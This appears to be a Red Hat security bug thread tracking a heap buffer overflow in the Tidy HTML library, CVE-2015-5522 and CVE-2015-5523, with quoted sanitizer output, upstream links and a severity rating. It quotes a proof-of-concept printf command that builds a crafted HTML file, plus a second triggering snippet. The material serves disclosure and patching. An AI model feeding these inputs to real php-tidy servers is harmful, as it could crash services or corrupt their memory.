Heap buffer overflow was reported in Tidy. This issue could be abused on server side applications that use php-tidy extension with user input. Part of original report: """ POC $ printf "\x3c\x61\x20\x62\x3d\x3c\x61\x20\x3c\x3f\x78\x6d \x0d\x3f\x3e\x62\x3d\x22\x63\x22\x47\x20\x68\x72\x65 \x66\x3d\x22\x12\x22\xbb" > err.html An asan-enabled build of tidy outputs: $ tidy-asan err.html ==================================================== ==2196==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb53006b1 at pc 0xb71df8fe bp 0xbfac9928 sp 0xbfac9918 WRITE of size 1 at 0xb53006b1 thread T0 #0 0xb71df8fd in prvTidytmbstrndup (/usr/lib/libtidy-0.99.so.0+0x15c8fd) #1 0xb7141060 in prvTidyGetToken (/usr/lib/libtidy-0.99.so.0+0xbe060) #2 0xb711856e in prvTidyParseDocument (/usr/lib/libtidy-0.99.so.0+0x9556e) #3 0xb71f2a58 in prvTidyDocParseStream (/usr/lib/libtidy-0.99.so.0+0x16fa58) #4 0xb71f34a5 in tidyParseFile (/usr/lib/libtidy-0.99.so.0+0x1704a5) #5 0x804bfa9 (/usr/bin/tidy+0x804bfa9) #6 0xb6edf72d in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x1872d) #7 0x804fa4e (/usr/bin/tidy+0x804fa4e) 0xb53006b1 is located 0 bytes to the right of 1-byte region [0xb53006b0,0xb53006b1) allocated by thread T0 here: #0 0xb72af18c in __interceptor_malloc (/usr/lib/i386-linux-gnu/libasan.so.1+0x5118c) #1 0xb71c5963 (/usr/lib/libtidy-0.99.so.0+0x142963) ... Valgrind with the standard build: $ valgrind tidy err.html ... ==30499== Invalid write of size 1 ==30499== at 0x408805C: prvTidytmbstrndup (tmbstr.c:39) ==30499== by 0x40738A8: ParseValue (lexer.c:3486) ... ==30499== Invalid write of size 1 ==30499== at 0x4088065: prvTidytmbstrndup (tmbstr.c:41) ==30499== by 0x40738A8: ParseValue (lexer.c:3486) ==30499== by 0x4075F39: ParseAttrs (lexer.c:3603) ==30499== by 0x4075F39: GetTokenFromStream (lexer.c:2416) """ Upstream bug: https://github.com/htacg/tidy-html5/issues/217 Upstream commit: https://github.com/htacg/tidy-html5/commit/c18f27a58792f7fbd0b30a0ff50d6b40a82f940d CVE request: http://seclists.org/oss-sec/2015/q2/633
Created tidy tracking bugs for this issue: Affects: fedora-all [bug 1228298] Affects: epel-all [bug 1228299]
https://github.com/htacg/tidy-html5/issues/217 has a reasonable analysis, I don't think I can add much to that. It may be possible to gain a reasonable control about where exactly we end up writing to by using control characters intelligently. Given that this library is used by php-tidy and php is full of function pointers, code execution appears reasonable.
Statement: This issue affects the versions of tidy as shipped with Red Hat Enterprise Linux 6. Red Hat Product Security has rated this issue as having Moderate security impact. A future update may address this issue. For additional information, refer to the Issue Severity Classification: https://access.redhat.com/security/updates/classification/.
From https://github.com/htacg/tidy-html5/issues/217#issuecomment-108565501: """ In some cases this bug could exibit a different problem like parsing the snippet <a <?xm \0xd?> href="">. Now the lexer buffer will contain 2, or more IsWhite() chars and len would be reduced to -2, or less, which means the malloc buffer allocation would be a giant 4,294,967,295 byte allocation, a value lots of OSes will reject. """ Separate CVE-2015-5523 was assigned to the above issue: http://seclists.org/oss-sec/2015/q3/116 Upstream commit fixes both CVE-2015-5522 and CVE-2015-5523, also the Impact, CVSS and CWE for CVE-2015-5523 won't be any different from CVE-2015-5522 - having 2 CVEs tracked under single bug seems reasonable in this case.
This bug is now closed. Further updates for individual products will be reflected on the CVE page(s): https://access.redhat.com/security/cve/cve-2015-5522 https://access.redhat.com/security/cve/cve-2015-5523